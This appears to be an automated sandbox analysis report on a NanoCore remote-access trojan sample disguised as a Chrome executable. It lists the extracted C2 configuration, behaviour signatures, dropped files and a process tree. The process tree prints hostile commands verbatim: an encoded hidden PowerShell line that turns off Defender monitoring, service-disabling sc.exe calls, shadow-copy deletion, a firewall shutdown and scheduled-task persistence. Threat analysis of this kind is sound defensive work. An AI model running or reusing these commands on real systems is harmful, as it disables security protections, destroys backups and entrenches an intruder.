Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 04:37

General

  • Target
    xoilacxxo.cc_chrome.exe
  • Size 57KB
  • Sample260930-e81bkssxdy
  • SHA256 bdc2f7f028aea26537426a6b170297bdfc59394330bdfa76b6be6c0d9d4a8916
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://xoilacxxo.cc

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://xoilacxxo.cc

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4244
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:456
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2976
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2228
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3008
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4540
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3420
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2636
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:216
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4048
      • C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe"
        3⤵
          PID:1056
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:1908
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1332
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2256
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of AdjustPrivilegeToken
        PID:2012
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4860
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4348
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5016
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1048
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1456
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          PID:404
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:4108
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4568
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4796
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4196
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:728
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4236
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3876
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:5000
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2012
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:2332
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3328
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:3516
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:272
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:3536
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:5104
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:4788
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Reads the TCP/IP host and domain name from the registry
            PID:2772
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4952
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:2548
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:4764
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:2676
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:3496
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2820
          • C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe
            C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe
            1⤵
              PID:2772
            • C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_chrome.exe
              1⤵
                PID:304
              • C:\Windows\System32\WaaSMedicAgent.exe
                C:\Windows\System32\WaaSMedicAgent.exe 4615d8b51f7bc59743ec2eea8d21da9b Vxy+fag6AUGevYEbRQzZdA.0.1.0.0.0
                1⤵
                  PID:272

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      scr_20260930_053906.jpg

                      • Path C:\ProgramData\SysUpdate\Scr\scr_20260930_053906.jpg
                      • Size 94KB
                      • SHA256 57c5c4e9922bc52db2b5eb2296805c8ed924c97962d2a1375108db08777c7063
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      invoice_1.pdf

                      • Path C:\ProgramData\invoice_1.pdf
                      • Size 76KB
                      • SHA256 a07dcf008286be904513877f6e03394a671ea88134d4a26c3c71ce6e205953d7
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_3.pdf

                      • Path C:\SystemVolumeInformation\doc_3.pdf
                      • Size 76KB
                      • SHA256 30ca81dcb7382d394fec084464e42f8f97a98431873275c6f25eb525e04b4c36
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      xoilacxxo.cc_chrome.exe.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xoilacxxo.cc_chrome.exe.log
                      • Size 660B
                      • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_ixajjovb.odf.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ixajjovb.odf.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 244B
                      • SHA256 7ab925f9a893c1cb627019f7b8cd5ac3a049ca7c257b21aa1fef695edd51e463
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 245B
                      • SHA256 8a36527498abd12d7e29aad0eb47a6e031e1303201b141c438026261459ea371
                      • MD5 SHA1 SHA512 TLSH

                      temp_steal.log

                      • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                      • Size 126KB
                      • SHA256 73d1ec711a2cd9510e84a85a90ed829bf5f19406a67686590164dce13e5cd979
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      stolen_data_here.txt

                      • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                      • Size 126KB
                      • SHA256 b91f6274ce3dbc0d4f16ac9dd73c92e143e3a4001de0714527b57d7bab22ab37
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      sysupdate.exe

                      • Path C:\Windows\System32\sysupdate.exe
                      • Size 57KB
                      • SHA256 bdc2f7f028aea26537426a6b170297bdfc59394330bdfa76b6be6c0d9d4a8916
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/2664-2269-0x000000001BCF0000-0x000000001BD00000-memory.dmp

                      memory/2664-0-0x0000000000E30000-0x0000000000E44000-memory.dmp

                      memory/2664-1-0x000000001BCF0000-0x000000001BD00000-memory.dmp

                      memory/4244-804-0x000001DF2FCA0000-0x000001DF2FCC2000-memory.dmp

                      memory/5104-2254-0x0000022513160000-0x0000022513161000-memory.dmp